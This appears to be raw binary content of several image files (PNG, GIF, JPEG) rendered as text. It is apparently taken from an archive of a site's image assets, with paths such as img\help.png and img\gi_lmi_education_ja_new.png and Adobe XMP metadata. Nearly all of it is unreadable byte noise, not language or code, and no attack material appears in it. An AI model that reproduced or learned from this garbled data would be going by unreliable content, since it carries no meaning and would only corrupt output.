HB1dAN=:U=N*~]2vϮoyfZ񿺶jڕYl<xy&ɵ66[kx@;!ĥ&?<}N^t__r{>a7.9K4Kaj5E_xmʸw^;++]vI{}Ww͛87BkV.z)KK1XaS	yos~]Q115^ؾշeRjZ%5{vW
'mL01ǗƭRF
)nӬǽ+2,;a3b`Ā4oh)dTX扢٧ߕPcziTyvuGޟ8
%bA-qy)~}r-4EaZT;}SLPr2lO#ͷca|N--
DΒY͂SNp	Un'g0=%Rz$4_i??:*\^B,.W祚yV<vq]P}CEϨ[:Br47#Ng81a0ll
g*lkUgw5,\dߚj10yaWLJ}J*",=ӼGKy^DAy9-BW{]e2V}/l(crx$[uqzEƭmpEFc9sJS{wJ_DBq9*ukfBݎDa8eiV.%υíKC9sR)Q:3sGOx"ebyDJuR?gN~6v̺~IKk:éC e`ᢿaiii[}ȟ^hľ;zﴵci6Z[bA)(/rdvҳp{h6>kr%lLnGlĨ.>qֆu._5)atk^!g`>Ys[E?Ku;AE[uyqTD24mWxmIu,M蔬onjCMZ>?HT|3e?.+C;EGt1)V@n;9"QuJۆ))Q,a{ARịcq>_zaGۅ]\ϮDO)	$w*q%})mNN5V|Dqa=R
<_-or`8wm<o-,
wsKV7JmԶ;"ߘ>xk@NޏkiCv}^j=ų^Mj?,EO!u!
nq~֬7G̻uݿ	O5҇_",5QX@K}ʹ32-,~lpzQV(8SKJ'NĈm:<]"@ї)@+#hkB3ɊK]#A;ӷ7e7͚[sNJFZ`R2iin)=!2Ơ/^YuQ2[k:DAD8xSkZ[N*,msY Ma* IDAT]ZskMWrBe"RW3^2Pw,\}@z|˚@&Vk0|@@#@`6\Slx'<ӗr"h!{v$q"턹( 3ʺZz{ȟ[*JT6C\U5"$M,5(E
ƎEhѥi4Zh,d,5[>8FK~*M2y.VTGwt߮r7=?^yTz5
%8ןdK˨%SGOHP+[M{JJ}xK[~4vF_x<|ZUUlBG2
ͨ`&&9jծUvS 8=)>y 
٘ㆇ(o<hP\x*M)!m@G(P
)g@q^t/<](V+e8c``ϑi4eUJN]viirJ9S*͑{AjSLE@ꟛɢ"W<`3憔L.rUl`АVR}Wt
FI@I.H;"Sd1kBdWn~,5BPժ[aiF\A5.}Ն!yabpoF>j<	.8\<A	|aajS)J95b@h G!ࡈ?cT	b*'\pIҮXTY*B
dxxjP$F
cRxhLb1R&%Y<PIs̑gBEҵvnrQiEpJK+,(Q=hq4C.tTJ#bN#XH>NTh~HGY*ĤHsB1]Su-qJ1dBre+VQp(+}QR)*/I 	 `)vtEUh[Њӧci#‚|<z(B=<x|'Jq7@KQ!tI:=gU;tHdHRPJPjxC^}"1Aw)IQq-T}@DJČzi+C ҕI~V!jDVoɩ>G"40ɭdV+(UER]RaLsBaT!h#U٥Jl)(5.=dT\9B>"fJ̓ࢻCVYMZ%R|~aMUq਄+PRLH=)}%DDSb40&,R5&f-PO$:DS@^S/S}E@Ϭq	#16jO
HFٱ+މɋYNBA˧=GWKDVգw

QqN:^./D~/^aQb.7VbY+QB’*':1yDSE3M'0(%
jZ3J0: +8gw+m׈6Dx91]@<1<2l,2YDGgcĈI
$Dy^fӜ[$ILˈHECѠ%bϳ$0:&Xt]c*^еrJQOIo1;࠭)4;2BSWiaHgpp4#Wv->oXVϯ=_Ԓ`Vd*@NUS+JB$d(78\c\QHmr2&+YA`$5HQ#Ҭ"3h^VJPՙ
<5mlP(HrD*SP& ZN!t$[62N2Gq杵|WxѨjԩY˝_rxQ4țtWjȥJRhJ4QyQ̔sr!F* @Hd(`QGaH!´dHL#HEv'-Oii~^^X_ArS$U)Lwogt0}=f|!o\."¹wŗOƷ9gmYrLj"wv%TTw8U/YYuv.C؇^E~[ENQ=ͥEaR%\c}Gn)>o3NS.G?#!~7ZWs=ӝ呉x/b@no_3\}K.m^ց_iȍ/_vU3cC+:z(cG"oކicG~} :vY+<Ҹc9Qb6!ǚ!%pҏj4q?RpxvssFxz1N{TLg|ɥc7W߼eYcvtK(mo_[s{?9P͈]3k%+Jx?*-Z/+;up^g晋.=@t-Ңofj4ȍ\*J\ul@
 cI|_vj	#f3qcu]]uKkDiLVUv
/l@Q#eF{"n-1VSLn!g,v?ۢd.{wHMPV;=$| 	j#9"?`?8ni0!Ox2V]Ȗ
DJ<0m#m^Ł5}dOu<w~]>{פAoVMt%)7pm\\G<oTw1䮯fÜk݂f첩v~ԫ=]v%c&wO@H6:9a8D۔2.X/Es~=wxLܨW.fv iN['zUon]r7}0z,36}u畯#ͦ<$q6G%SNlE]5hk")Z" Vk\[K{QEK% +ǔ֗Oдn3Wm	Qέg-۲Puoo>Ӧ$vqSӴqn͘&헹}F?{]jk޿yO_+|}␠Ζ/v\á=[ߛZ|Ct:_|ݤ6y}%n+kּڷ1m`Ps,cSݶ{K{ˮ,?ν~7g.w8[jG>1YMܴtu䛷X["&\<#zZ[RzbkWu_;,kߖl1!)Y0ydlY"
̈́a)ͱ[WG$u.H]_`V{o-̾Sm5SYs8V-'=fi;[鱥w׽~I.ӽ_g҇ī[5lxq~mk9@3]]
~;bsma˞32ZM{ݚ#o/45uڭk׋iQC߱G-߼ic^vc&{o&՗>ͤA2v~J>;u{>-|M>K-cY@9MMk#YrEbrRr{|dl$X7~4Nq	yQhi"mToc#(
:H@C:^-Ʃo^>;WӶ~uOo?rmЎA,ÝqL;wT*j_veZfI3f蛉>MnmEU8QK3ፁI$~?e],DLRVU/p{ vmA)%߄/[KV\2O>gY!-خU-/{Mk)3hsq meQDe%ΉIih0ɴ䞜,"g$7ŨYI<r*m`	`i7
R
0phbF'%ˮߵvLkG?]{:LUP) 
"nɌ>eyCLC9I5dNF@T`^-%G3}ŋK&w1J
ƷpsΨ	ӅYs9<*7D.UO{+D{3Q%B3
xLdyqHF|Wٿ[w#Mc[4mZ/Gkfvu]Cr|IUMrO
S"mGMjn>o#[0gگXܱcワ99;wؗjz,Xe4f긩Moӗ~Qޚ҄DQ˦jgQM/ݼac^DL*3/<P>_B͖Wu0
1!`Hbj@;hC._et罓uwN{C2q~b)WIVriW
<hv?q\3џ{o4ma;O!s+szk"p֒-wwՍbpSI	'6Ygni=w޺up'^:C_=?gܹiné/!H_7
<!d&i	nؿc.=G7&K@‹Ap	-G	*tRo(!
!rʮc:
q8
;z^™;烽\@YGX]~-cD|g^}=
R~tߜNK_tlE]x]P_G00Uɪi'6̬_Ԁvo>K~ޔԸdzخe*V '8o)b,{4# #:M	4,Drʊ3VfN7}nE[JJ8C,]NhA]XVM'ǩ3筶|
z#FtY@v>tblDGQvq0(~d]$TB~H7&"}z qEWfd]KR)SUTLgc>'D:
!~OfhOUB@N~}Mu#T	2%/>D*~$!IG*rljFNg9DNq&LU G_Gd3ޔEW?uRSOGT8FTji
F^a51xt[ܧznj
#.uH
ahACFb	b@eC.~+6
ve"1:bŽgحC8tTCU\ּx%
@T&˃LFBJhrVqk(C_+nUV-Gr/W\
/>ِ<E.˕,{DQD'jU""jEI˼"^&-h55;k&!k5<eCl`~~\TX
3e|gaT
`j@jƉ;[x&+q:v;C\5Ǿ\1I¸]x,:Y.aU-PDAp$5nxKy?JV99sST/VA-Ҷa#-rzQ`*+	5*W1yPK'܁h^j0"

ohbm=})g6N;rMB`G`3C8
u1=
D8"zlb|\p0pa)5T#}HLWcb@I@ky)cfmf1,_mƥǭ-?*vs FFe4*::J<qf?Gp}8e"Xu+8;dԯof<g~=F+!I	Zx%'r=1/WR"IQ6b.CS$TDGg@4b[3hf?*l%t"?d`j4մ"i@lS0,W&*$eFgVyɉĤYymDNUq@0
G:L3VUz*#DVBd>UBN8V8S=eP0PnuϦPʇ_B
ծY:{$E+lĐJBfMXGL^e5Yr+XΔ艛 =. PM̱f"= $2~&td6^Hƹr,YW3SQсN.-e'xncIsBe
Z[un
zzTW23Ƅ`=<І:G$S0)䍘O	?@/dQF&ڏ(ܔYyρ
AhXXЗ8;ׇQNH3W/ХT%"OYqP^|PA,'𥣌Y.Fʴ$ȨW"x$iCˬS`pi
c	Xђ
!SW:giO<rs4ÝkFahW~Gw%S0Jb707C,@GA+DĞNH2!"̈́+/LUڇWe&Qaa&xCPAڀGc.%RІ é!Jâ0%8!rT"C5rCu8KTSJo}0RKNkhfSaI7zl\W{J~C]KqQ9ع|i=2=ע`(W{l
Ǎ?s&[bEDx,: bB$KU?KԡsCPeBU=ll\SNg]b5#kXuDbxuGh7v/ﹶ=tF>3.X0{̪~lK!\33-yټGL_:,ThklrABLECX!(=tjIE
B {ٹ
Y޺Wb۵c_;M{9iTj)w.?)nUf칖-S~zkJs`|\hWIBh,|ia0L.s$ X`?0VXEQdӚlF"vsa}+jb<<MWΗo
\3{ր@jiKƶ85qЃs=>y?9?xx>}ؒ	
={韓l;,.wxc}ӕ^\w$Ӿk'\\?5;%ħty{zTL¬u}um6R*WIï̆X`K5B!m,Vbx@vnh/S3/o4{Ił2/:;xy֬>)7*>ebADNz;]5Z^7ގ=6.q]{,htqSٳy,JozG>9Ys|ߴen&]Djm9jNϻ%uXUyaܕ×7X`nR
n_aΈE9FԄGaaU-,9uaL|f(]u2Ԗw:_B@I߭?ֶ%ݰ[=N=.L{9.mۊiGolѰ-%
eyϵyϵOd?2s͹Yа.%ZnӶ*(zf#?>KnÜ-DžF6M IDAT[,D`C㏥1@b\cE)P}&st6hP^5gJ5wmӴ-Mؓۻ@-@T.smZr5,v<^u8FP\Kg?-^b5Ն2j'^B`27#c.4-0ĀE]E
ǜ&@# ?E?[@͞VZz2jVu.9tEbh[hoN;	fe5WS흽G.ÒYb i}\;J{_ugku{{}Xa@H.)H4!"Z' t@*"* Ѧ
R*E"(TMATѨ) $u"~{~NgϾ;Yݽ[>TG+[<_YU;׾7:5^ns/oᥧP/xKsu|9
t19zG|aV7:o쥋_t{/Nx"?a!zOaoӼUz[^=/={l|yW?[n\:A3nn'dSk>w}+&wCs{#^xC?K/++-6F/߹U}?+o'o}۟vϫT<0{'ҼjÇe<˞Wqy
4G}sǓ&[&gv]6'|w_򊇿}o[3ol-.|=3ỿNeMo״)m5oݏw>o}?;־w_ozkε|\εG{{_ߚW˻b֋jzv^z:}<wfF54khʍ̻EI

p2{㮗w%+ħy!yzڛOоmcYW>޹N!]7c}Z(.x[R;/z@ӲYa1|[ࣣPiT^ /8N?_OT0+@\*I\}Z<=Y]嗌cl<Oba+w\<?F^twW|ًhUzG_6l̶/uHsk7W5o/_{qp\jJb|r*i&u2vnnaMY[Z
яγ]KS7={ܥقw@LG8iy5׼XNy_gk_aTϽyg=t5Ͱ\:F9VGV\u(')tzvk:,g=r_eHH<lyڳJiua5t .<=[z3WLfߜgwr7q慭g\<ǖd3ya:>}YMb:=xjvMVs-8Mh394zwYJAuQϧ_,)w99{{/=s>{LR似6ٜ!<kȞ?siu%frR|MAXTsC"ʿmO<:N+4oo?{{vg5Q'[$
@uufX6|h<w'	Ϣλ!NI-E)}N֣e8}~^~酧ky|eSSZf,&lWk7,%[ zHY-g:kN;l]>OçйeU/->gz᥂vz]6\S\Nҧ	y=Uo)1[]#(;tdʼn/Vxkpovs]Oq+7vN?27ʟG4QY=?SǸ4@{Hʗ̤(yx%8hxT@koì)!}6+ʳ
+?:|rvuIjtB"<젴Y!
"3Ct֗M(SgW&dőu`~d/:c|fN3Ykm ;iC%Y:J58@ǐ.C[ޕ'[$)"h7oh-t"E!DF}Ru??MxFs48G CƥXUfR$sz=U#l~SS$|T@8
^8zL;krK8x$-|0V\P)xY=$Қ7yg7KAc@y7Bݑ("dAϷWE#xKl $BʙUP*|ZU0-Pے jjV~pn=RJFtQR7:sh9(~VF:
WY7$Xy~#Df(^hof=A)mvIJ0b
|62.Dcrp()ݺۋaOr|,Eo)T)	<P0sK^y`¨v\4I@C0FYF5^S֖4%|ΖP!x5g^-ْإ0ZS`$&fj&yPHG
,:TK\WspG!4k$k&`ѱ<X;/A=MPO)B„Ѵ{Eq+O&CTxC˲IdDg`c]i0OO!E[J	.]p5[}Ia	eVcbֲb
VLRm`т%ONYЍvLWD1z9ĀhP	5d(=0vJ'_'Cl[U"5"cz<<Ê(^;J5i%X2z/3)D$UQت2RBN0<D,MN7'c2*-VIUʦEt>DIaZPY)"Fl<i[S8.XFEA644'?\}Nvl:x\˞c›S@|z#9
QXfz+Tޡ15pՋȖxA.e )sD#JӺ%ZMPu¬]<D"VK'Y([ˊ&cYo`*(˕k6)d{ɨQ$bf'*LCw%ј% V,6
9Qn.^,Df~v+1c~槥?61o<rW+a
q<fO1CBۈw&i9M~E#y1q.%vU9..ZD^\x@ZZq'E@)т_uG`q]ERԓ+ʅ<2
Kbn+[LܵUD42@`I3+ɔX`cp_k~dTi<R0)+4gHV}6yS딮+_9EOYtd,rƋ85:Pre!0!߹:{{,YjRKKpӊ/\]߶VMб&\[g7~]AUЀJRK_@
t15_ʱg

S7ZpJa ^ͷj2ڒJ;B}}VPRC,	\P
t)Y~$Iu-16|Vw51غ("&BG>-18
mRΆ-.
r	?L"wDB#vX"qKH޸xa%mcfҾfism2x1?KE[ZHov7x>Gb6&VGE&*j:
ӮG
%:+]mwDLPUmeP4eMRkD}|rSdڡ$NŶ6$0¿:?_,&`Do/xRqf5P"*ULu)/SᎃV&xވHvaT5`sfW+zs܊'c4"䉴į.I "7>g$ͷ2?'dH+,GN)z5Pq(`Qeb6FY)Dl0t6Xcˆ4GWTG:;2"hSS/@StJ0gzd	;⌝)C_tR##VaK
1Dd,.=Bk,NbOnnJ$W!gx:J0eh<`E_Rk|
N@%x3qއH/4ψ0ʅ9NczW,Ž#
*)TZ'x4	Bd͇fj0Q7BTbDLU>Kmn)Oc)Ѥةw>iQ
ꝎTM)ItE4"uG |	CD6JLX:XT0@\,	
2H$RU;EpPڼtgW;ə-s
2obɪv$:"Q@NLU/LHqI^Fi7*`UI5YCH@R+ZPk5-gglmmxoW
t<C!"wKM=-$mX.?ګj;+b4++F =_J6`)a]G->S!NmAҋ^n͗31!%$_=٫5LyG:&	<rŎb'87 s%@EA9Vll&R ^3bURTѹQm.u7olUB6T2=ׁIMsf('
)\݂%&6X cts9gP>@$*&3<iKAhhؔ<әv1ws?wdP13:Ï7O,Wdz8uECFe3}%xVx1azTQS&M7]I9#
pۑ<Z18pvK΀@0"җ޴G"K(D4A~E$"02]ձ됮avPg2̰gOW`(ux;uC^:HG@/g;AIQ!g\($v0Ȱ[!9;;1$GWX؉}>@@$`5=l1h/Tz
Bzޕg-ٚd1,h5;ϠF>M.#5WV@,O̭IUݨ9vH(2Shh,']*vԳoI/	yfdM#TK]akNf\
@aE(8.␬wxwxْk54s
2siW.nenɀmFd0	hD!Iq?6
m].ۑb%:/e<]3"i	%Q
nuo:	)3w@MB+]U"ȵ,
9d85psnϳ<&c׾z%_25:lm킖<1<\n!&ڸcj7fNCY$e+ׂ%t*BzNpfODՒ*g|QIԺ>Ĕeh̡Ae/:+Y[Q"LL|XpK*r~zQ3)\O7@
B|`9%r`z8YҊ@pC5EHUSs4uhLS$,}0 뒮
ȩЦav;Z'j_q_#imgc&d?+jͲ_O%Cl: |.CYpҷnƞj.0{̊,'x4Xx
&r5T%pi!vrrHx:p<'M',:XD"1~dB}`DV3g
=,bgF89y;bgy}AssWhTRuC&RQcjhhjkjX߳[
`I"T(
`s4ݚ\tqEv9 !v6z$pg1V.8eJGQ]Y#	~J$|mMut4D⎅0]nЍj{
qNe#8G6֐R/ɒ{+P(UӪp
Jxg}_|+מgstNsUCwv6I'14~И&ݖ)P=L[^\K?]fǬ}w{=O_f	ř%cކi=P&feBǭ9IQ%8rH
䉡<fCP1QTg|ҶK:%G&$,Mm&[	6|SPG@+2@*€8󈙂fvuնЂ.[:sKw=g<<ك'v;3JΥ@T90\n4:>ְ#eU٦([
Q' 10|߅!=Ric4Nzv!Y,ƬWn.~ڐ}oG7iȄn,CxGbyLYTFby
J\_63Q9-*eB|%23'
CA6	ԙ`q;LCHl;mgVXnX#cHaqU
ҋ=蚕Q`$d^n![|ēHC#ҀOJXjkml2Ƨ<-|/c"8Aσ*N3
T"
g}I@-S'$ykA<ŕAtVP$Q
E$Ap̔6fLJitt,I 8mNb4\l#%@@P-n<~o_{O=7еx
r]Z93]Xi:!u^4T>+Qj<عh&0h@-QURI
!	)+dƳxt>)#֋M
M>VD%xs\YgOwD	<Ub"R۸!|l+vTAl|e{+Q.q#*TEZN0ڢW@GK+Y^]ԕɕ{k9=җB[W4xXC,X`#.k9
p`ւlw,Mu6XR!{|L#ɀ=/j]@]
w""9[7t迸)*R&MN1L=I];$Swe5ټx7_s/\\fCa*tf}=;IDATOO$:Xu?x)y򭦓*X}0c
[&|zȷw,Tȓ1~mK~:õV3iHTv84!~!MXzW.vb,}ed^H#GxOQe0ױ\8FJ.BF
G$yWnU
}^!'ﻄ2FY+"^{jy27GD+U01Q_V(̩
tS6rJ)6scg8&fg<Ǥ{'b!IENDB`цP>img\gi_lmi_education_en_new.pngPNG


IHDRuS2tIME	
02o	pHYsnu>gAMAaPLTEI?$Y#+.u]i^q)OGhCV&%Z(eIލǕ
hFkw.iX/v0k1j;NDkNvixJi1Wp\ws~xF[-Yž-XZD[~T
IDATxCG
]L)f;vd~33{EkP'=Ϟ378=Wx`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`X,p8`~/R~NS9_88KW	dpXA:OTjԁ/1rit󧞞:%YFS?n!)
,-냚{-U|
XÂ1\ma]?
v'H-Wq})`aOř~7^,._.;K±-B[x8,p7y:+R\{}6oq_F.qf{iԶu-ٽS"Bt]pb+қ
ҍm&rR-lgyoV_K_S!zqQ^'!R-hcVˣMS$;ju?suDt'ّ>2P&?0gkaUXthëf\uI; t1tG2>vF}DjoF؊2..Qz2*I-4I00Ċ}WRB,m
9WJ`aɁ݊lRNiWtuU
]Q
aBU>=݊}jB_QhԳ9NW{r_WlFQIˑ	54uXՓ!VH;B4:L*`!]s-DN$[`a$E3I0Wl)%Htm6kI{hئ9ҁ=ʅ=b*pQfU*Ͱ%)!*<*rA?ߵ7D;Ԙ=PZHA$"u6udPdJcP("TsM$)^1qD&(vaC[#R<C1yȬj遅b:2.1ݖ;Ҟ4(&O7i;޺C;TYnhFR|m%
6//Q2BB.$rfhi[[{vmdK
6-K`Cee.}i{PhKvBEm|Y4)
"C1VfԚ7w#_j1	!ǔ!EBV}XPt!R]obVU-r6ԶRMUJRۮ*
t=8*NmǡtsdJP[d!r>p	HY.4*v`0QE2BcA:5:,l637aGdz
."Yi_tl'*
"eru.TuvN搔v3714Y
o!t5LYxABvjk,mAlM߲Fi?IUn9,&٭aMF+7'_ig<]5op
݃BS]}6!ZҠUh]MwYWYe<j#^%9H?{?&֐/ٺR-lʈH^^bWݷHNoRư2: >rz}5~+~qZ'	!/v6s{Gʅr{oť:;/yKyE*_,
JZ6$ّvP.X~"mi!
X((y:/YHdzG-`
,lԁoa%y3-pH;ms
'`y=& .J3Y~Y0)Xx_aain>lM~.ӿIH3婽Nf?j%XX:S啴s\(φY-,`,>F\~ARgvsX,zY^zUYu,}Frp\
aX8*{ο^69x,_77[}vkm?ܗWmxʋ>?C>5oo߮d]/a{R>[0:gIcFFZ=8Sչ0_uo\jҎ|SW+RFcӻki2j!<3bYS/WkiKЧɅYrq`Z,G[Bp]yƊ$aarg|-TZ>-dkiRQo><-T*ϩUE+-Yi<pOh+3y:Xy*Ho,UۅYAL~4AH)ͤŔB-doII7չZh?nϝ\/V |5
P-l5%ȌH{_gmR1늻DCU1KL=%wǁ*]Bm(Tl:HU +GRl-oE77Bڕy(pzCY#D,Wd;AgjR	AN%Oii:>dH۞"o&zP:g#p Z"ugm!l)"{^R<z|=F?=~uKF;.PZ UlJJvڇ՗G}Y^o0u?4E}ĂdfM>tNF^;>3Bʅ
]9%~ABUt?O<Y\˃-?#վqpP6ůAn{*{
+b]ow+:/A:YUZu.BG}!EڗB©$P'R$~H_*wPTй#
5лf0.{SY@M?w;˞`anZ;!nMN\p4c_pqYiA^bÇj6u/^9Lw71kQIENDB`t,>img\gi_lmi_education_ja_new.png$DMPNG


IHDRuS2sRGB`PLTE$]&`&cS
aF3"W #Z;忮rս
.S1jN<g0n	pHYstIME
0=5JIDATxwFaEm%RdW	;H(~+90e64

(P (@P@A

(P (@P@A

(P (@P@&@A

(P (@P@A

(P (@P@A

((P (@P@A

(P (@P@A

(P (@P@A

(P (@P@A

($GﭠP@A)c^FaBqLyPzT{
Z	*T۲UeZB
|mI]L3K(̥ B8=NR#Yf^аKbd-X-
$Xzb˜}Y'mɰ<A|8GP@PX}"y@!l<TA&,V9:BLA6*v+baB
kBmĻ)=^!uj}HѪ q$ӸqV݋[yLABt3jL!lK;_X ^-hB%73*YBBЛ
NӶ(α!S"DĖ3.q;TJKgrcǑz@y(>.F>?@NUA/yBG&UmU>Z8ԯSx$-fsOׂ̦U:Qno(8cR(hl\Oct(hl~<}\PQZOfoDؼ6z9h}ۏ58M#ja(,6V00pgs=/\-0B_sLSKՂPXDAP-*RQXIUAQ]A_k.lYu_.7
f΂u2DzM.B>Q`xWai
MwWnd!%gmPON6Cݕ7+[^"c{J(ghu[O֗njQ`U;
j!2>;k6LνkAm	)<rB,'

]Żes{[Yu.]qisQ`-
(
(Ua+@-
(
(yP6ub
u2Z%ׂzA{Hk^1Ixec(L#Iå*îCa,nc(LT.W0Q!>/x
͎؄+֡?q<fBPKe|PMoA6=홝Y0
m ֞ãBȰ/
cZ-gRؤYt6OOOooo.SHutQxUvh=
y5\džsճ%l{Q[zzLv(,pLs4?9x4@Psfz8}yqA04!}^z89
MF:0B#gy-^zt+
s+$s1<OŸޘ`
wP?݅bHp?G2%nq=fRRA
3)1j!iIX?׶8
;ED*N97X0B_G_#${-1:Os&wK	TZ\gT\+3l
[IlV\IENDB`R4.img\gi_ra-education.pngPNG


IHDRIRS`PLTE,V3f
2xA!;FNOSZ"We-Y%`o/j3m\ks.V򅦺1p(IDATxݍb09jݟ:[K8b\G2|V	IJRTHRBna1[THR$+	$4/ywy]f=(6%[HS}KI M\c[2[3𫯋HJZ
ن6k[J8#gdbNu,RҬ3f1In򓕤Y.~O֪f2)I|<Wloӕ׻$ˑy$%)IIJRM7
_HD:t0\
SRKdݛI271IԜDց%&Y*
C33D,1[ICbm`$}:zsn[f$LdYXOL@'9sIbLPdJ}$aʥ,w3g}S'>y8p`-Xr`l`s6OdEEH2QC:[y$%)IIJR2%p f%cWzu+;;F[]}ZI4e1ł%VqEh䪅J+dJo\-XgS?&p!˜/uIe"t}R8y$%)a?$};Ig<DD4Nfqd$GOP\Ȅ>$nԫM-\e,2,Q>CIbRգH-i(.I6߯dTcŐeMp!P$5fH:'۶8cKb8pW R9$=$%$%㔺f~M <T~>$JR|'4}i19}qTjNvd$j^)*cZ؝^Yn D$ɔ"JIeђe:|kU)=[K*GI;5Mn/gFM\f~宮{$R;s2|kS;{H>ڄ%	c%g֦)/;3=ߚ~Y8o6IR$%'tF=ڻ%)IIJR$%9|ȘdyCGS?+&	!7^˜$8|b~N5#[O;huM\$ЕbЏf/mրIr\$zILWnJS8tAU${J|)6k]o铽5\	P2''G٢λ%)IIJR=C{$%)IIJR%!tIS;I?
@C%TcR%	t7K$EWK{($sIJR$%)II/&=	3/A/yzxn[teh.Z=<glg/jFtɻ?3FLh.#}Qɲf4N>c\>If4N\_g4)f(iFt?üOf޸_ї&:H&ŋF{{P%%[oMHR'Ӑdnǿ$D1rI~mbx|Vv 9&_>}0z^<f=t>qrq^oB`rnY{IJŔJ~riq;ʇP$\sojg$
|O}zWcLUێ a?!,ݞ-#&GQ%c3j
,)JꕌЄXE,KI:aMԪKӘrHeI;$SyiF$F9Kіc^;;\R()=XR(̒GA*)7ێ
7EfIStQ	ֻ~FgE]2IENDB`G?~img\grad2.giftGIF89a!,@BȎH)Dj~>R0=V&&$!|1\.1D8(`+L
]B	~//


'''***-#+%%00...,,,33A;J{img\help.pngPNG


IHDR;֕JtEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:643B5A889B0511E3B438A3CE7279C767" xmpMM:InstanceID="xmp.iid:643B5A879B0511E3B438A3CE7279C767" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F6750E038A9311E38478C5C8A19756F2" stRef:documentID="xmp.did:F6750E048A9311E38478C5C8A19756F2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?><dIDATx|+QgQ$_,(Yz++G򣔕lH"VV򔔕RJŬdaQVی[ws{E 00zla;Xp5N)
.PTk(BLBƫ0A~<-Ż1WФwhYF%7Bb}#Dok.(Q7%ɞZVsyc3m'y)!<C$7 c	g{°.z%m)#{>{U%_a#ᎇY+rE#^2dd7X<ahf&_!l",omvNc6IENDB`+img\highed.jpgBJFIF``ExifII*C		

 $.' ",#(7),01444'9=82<.342C			

2!!22222222222222222222222222222222222222222222222222"	
}!1AQa"q2#BR$3br	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz	
w!1AQaq"2B	#3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?O+o?+?03/hp_joZ>޵Ѽg3?P[y img\i-header.pngTPNG


IHDRN.^/GtEXtSoftwareAdobe ImageReadyqe<uiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164352, 2020/01/30-15:50:38        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:41e8b678-f2aa-4a75-941f-35f1b560cd4a" xmpMM:DocumentID="xmp.did:B87CA0FABD2011EA9797D86C15BD72A4" xmpMM:InstanceID="xmp.iid:B87CA0F9BD2011EA9797D86C15BD72A4" xmp:CreatorTool="Adobe Photoshop 21.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:41e8b678-f2aa-4a75-941f-35f1b560cd4a" stRef:documentID="xmp.did:41e8b678-f2aa-4a75-941f-35f1b560cd4a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>җIDATx[[G>}ݙ$ދX_@! E 
 ^x#y@xH@"/Ď+6`\1vsNUT̎Hni3u;|Twu#/B^Ϫy棳򑣫w
S{:=SjЉy~
.KAY2-$xzI,Aj7㗯
xE!x㨋QPSAՃ-~L~}GO{3ORV;xf'o=5i'Ε	}~\$)v]1u}εM3	?&48YOR-J<\!eʴ!$x(4~eVb1]s/~lGm;5>G(R<kH_%NXtGۨƬ$}<ub)p1hQvI^wn|zch`qiLsWP@-HcXIvy8iQȊY0 Y.&4]oJs*~[8t$ۆ?o}
,Y@88
0S"׬
}ug4.k^.\6gbߝWO{HL#І2nnnXl;Bp?;qf Ț(IK13Ge'D3>T},GIߓ4Н˗accc_-..ӧKu[2Pi%) 	N8I%wC@yd#Kiym.\S>"=g}v_[{:Y(Of)#0L27f'}E_$'0=<=|޶ngj*)RDeKGa}W#G\ٕZszsg	27O8EyEb$\Kٓ$ޠ"z?.	4M߹`҇4T8ŠJ7ҡdM8NZ	hiejk$șe<^E\PͲl_Y=4I8P"Li7
%s&։+),BhpfVs@#v	Z!3bv=۔P09/^;YD͂,H@ՀAPf̙Jh\9K	mRȶ@A`R.^N:@K7)IV&~Bp[E9=%&R^3a5#w0`P
mhQ$P{䃃PMj	+W[N;qu$CLٱr~
3og0("+Niy+Z eF79z"
l!P)b2 ۍBGpmA AVĈMFȾ9ev$6(r&FT|f@Ku#eM&lLȊޙdִ;4'9d^!at!ja$߂HNe[q@Q^lYl`BDj.hf1](KRmLfg=N$mY|:yI婌.lzF\
+XXu!Gb$*d<!8Ņl!}ohG!4!FFZ&4M1a[\D(IqFFmT!Yc3"O]?D…faa	dVȦ$9p2	N8pT\2HӰK;q,DIp@0 )7PM]#`"zz[4@Sǹ׍oU-k*x7bK!|Ϸm'3ŌWX	K!"z !p.ר6J1IAJ9T7M2aeDh
[hzv3mXztnm0Kys$u:7rB3ba.:V4Ue;E)
eIl^Z8oqĴ49ߣ 3\-,<m謔"1!&W^@(L.S0$yahI E<
.+Ead;wU4E^&@hUܢZntܾC<b!'Jlv6(j60{(S{@7	\HC6O}Τ7u
b]ssR]*RjփV>#)k
y
"TlD2ќi(}XYhA(ZNjԶWgܶDIǤg{m33M:q(S(4HڡD㽭F(wyu{PJ:~1\~=z?a\ǪjryȃR:&`aK
&>~@X6j;2qf
Q3䁰\	^NBϕJr./իWK2〪V&7,i˯ʘ.%gYQ
U3:m: YPqDM͞H$mVXYbwT+\v
^|EfGB\58q&UG^ \T
'DF̠P$*;ŅZ(_ZI$JqdI0
